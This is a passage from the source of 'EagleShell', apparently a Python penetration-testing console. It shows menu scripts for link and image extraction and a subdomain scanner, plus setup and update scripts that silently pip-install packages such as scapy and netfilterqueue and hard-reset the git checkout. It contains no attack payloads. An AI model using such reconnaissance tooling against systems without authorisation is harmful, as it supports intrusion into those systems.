'0' + WHITE) 89 | else: 90 | print('\tSUBDOMAINS FOUND: ' + GREEN + BOLD + str(self.total_found) + WHITE) 91 | print('\n\tY): New') 92 | print('\tZ): Menu') 93 | print('\tX): Exit\n') 94 | while True: 95 | cmd = input(eagleshell_prefix).lower() 96 | if cmd == 'y': 97 | SubScan() 98 | elif cmd == 'z': 99 | Web() 100 | elif cmd == 'x': 101 | Exit() 102 | else: 103 | print(invalid_input_prefix) 104 | continue 105 | except KeyboardInterrupt: 106 | Exit() 107 | -------------------------------------------------------------------------------- /modules/scripts/web/web.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import web_header 4 | from assets.shortcuts import Exit 5 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix 6 | 7 | 8 | class Web: 9 | def __init__(self): 10 | try: 11 | web_header() 12 | print('Scripts:') 13 | print('\n\t1): LinkExtract - Extract All Website Links') 14 | print('\t2): IMGExtract - Extract All Website Images') 15 | print('\t3): SubScan - Sub Domain Scanner') 16 | print('\n\tZ): Back') 17 | print('\tX): Exit\n') 18 | while True: 19 | web_select = input(eagleshell_prefix).lower() 20 | if web_select == '1': 21 | from modules.scripts.web.linkextract import LinkExtract 22 | LinkExtract() 23 | if web_select == '2': 24 | from modules.scripts.web.imgextract import IMGExtract 25 | IMGExtract() 26 | elif web_select == '3': 27 | from modules.scripts.web.subscan import SubScan 28 | SubScan() 29 | elif web_select == 'z': 30 | from ..scripts import Scripts 31 | Scripts() 32 | elif web_select == 'x': 33 | Exit() 34 | else: 35 | print(invalid_input_prefix) 36 | continue 37 | except KeyboardInterrupt: 38 | Exit() 39 | -------------------------------------------------------------------------------- /modules/settings/installation/setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import setup_header 4 | from assets.colors import * 5 | from assets.prefixes import eagleshell_prefix 6 | from assets.properties import clear_screen 7 | from assets.shortcuts import Exit 8 | import os 9 | 10 | 11 | class Setup: 12 | def __init__(self): 13 | try: 14 | setup_header() 15 | print('Update:\n') 16 | print(WHITE + '\tAre you ready to setup EagleShell? ' + GREEN + 'Y' + WHITE + '/' + RED + 'N') 17 | print(WHITE + '\t--------------------------------------------\n') 18 | setup_select = input(eagleshell_prefix).lower() 19 | if setup_select == 'yes' or setup_select == 'y': 20 | print(GREEN + '\n[+] Installing EagleShell...') 21 | packages = ['os', 'queue', 'ftplib', 'threading', 'paramiko', 'socket', 'time', 'cryptography', 22 | 'hashlib', 'netifaces', 'pyperclip', 'PIL', 'scapy', 'sys', 'netfilterqueue', 'subprocess', 23 | 're', 'requests', 'tqdm', 'beautifulsoup4', 'urllib'] 24 | for package in packages: 25 | print(GREEN + "\n[+] Installing '" + package + "' Python Package.") 26 | os.system('pip install ' + package + ' >/dev/null 2>&1') 27 | os.system('pip3 install ' + package + ' >/dev/null 2>&1') 28 | print(GREEN + '\n[+] Install Complete!' + RESET) 29 | os.system('sleep 3') 30 | os.system(clear_screen) 31 | exit() 32 | else: 33 | print(RED + '\n[-] Setup cancelled.' + RESET) 34 | os.system('sleep 3') 35 | os.system(clear_screen) 36 | exit() 37 | except KeyboardInterrupt: 38 | Exit() 39 | 40 | 41 | Setup() 42 | -------------------------------------------------------------------------------- /modules/settings/installation/update.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import update_header 4 | from assets.colors import * 5 | from assets.prefixes import eagleshell_prefix 6 | from assets.properties import clear_screen 7 | from assets.shortcuts import Exit 8 | import os 9 | 10 | 11 | class Update: 12 | def __init__(self): 13 | try: 14 | update_header() 15 | print('Update:\n') 16 | print(WHITE + '\tAre you inside the EagleShell Directory? ' + GREEN + 'Y' + WHITE + '/' + RED + 'N') 17 | print(WHITE + '\t--------------------------------------------\n') 18 | update_select = input(eagleshell_prefix).lower() 19 | if update_select == 'yes' or update_select == 'y': 20 | print(GREEN + '\n[+] Updating EagleShell...') 21 | os.system('git fetch >/dev/null 2>&1') 22 | os.system('git reset --hard origin/master >/dev/null 2>&1') 23 | os.system('git checkout master >/dev/null 2>&1') 24 | os.system('git pull >/dev/null 2>&1') 25 | print(GREEN + '[+] Update Complete!' + RESET) 26 | os.system('sleep 3') 27 | os.system(clear_screen) 28 | from modules.settings.installation.setup import Setup 29 | Setup() 30 | else: 31 | print(RED + '\n[-] Please make sure to run this in the EagleShell directory.' + RESET) 32 | os.system('sleep 3') 33 | os.system(clear_screen) 34 | exit() 35 | except KeyboardInterrupt: 36 | Exit() 37 | 38 | 39 | Update() 40 | -------------------------------------------------------------------------------- /modules/settings/other/version.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.properties import version 4 | 5 | 6 | class Version: 7 | def __init__(self): 8 | print('\nFramework: ' + version) 9 | print('Console: ' + version + '\n') 10 | -------------------------------------------------------------------------------- /modules/settings/settings.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import settings_header 4 | from assets.shortcuts import Exit 5 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix 6 | 7 | 8 | class Settings: 9 | def __init__(self): 10 | try: 11 | settings_header() 12 | print('Options:') 13 | print('\n\t1): Update') 14 | print('\t2): Version') 15 | print('\n\tZ): Back') 16 | print('\tX): Exit\n') 17 | while True: 18 | settings_select = input(eagleshell_prefix).lower() 19 | if settings_select == '1': 20 | from modules.settings.installation.update import Update 21 | Update() 22 | elif settings_select == '2': 23 | from modules.settings.other.version import Version 24 | Version() 25 | elif settings_select == 'z': 26 | from ..modules import Modules 27 | Modules() 28 | elif settings_select == 'x': 29 | Exit() 30 | else: 31 | print(invalid_input_prefix) 32 | continue 33 | except KeyboardInterrupt: 34 | Exit() 35 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | 4 | class Setup: 5 | def __init__(self): 6 | from modules.settings.installation.setup import Setup 7 | Setup() 8 | 9 | 10 | Setup() 11 | -------------------------------------------------------------------------------- /update.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | 4 | class Update: 5 | def __init__(self): 6 | from modules.settings.installation.update import Update 7 | Update() 8 | 9 | 10 | Update() 11 | --------------------------------------------------------------------------------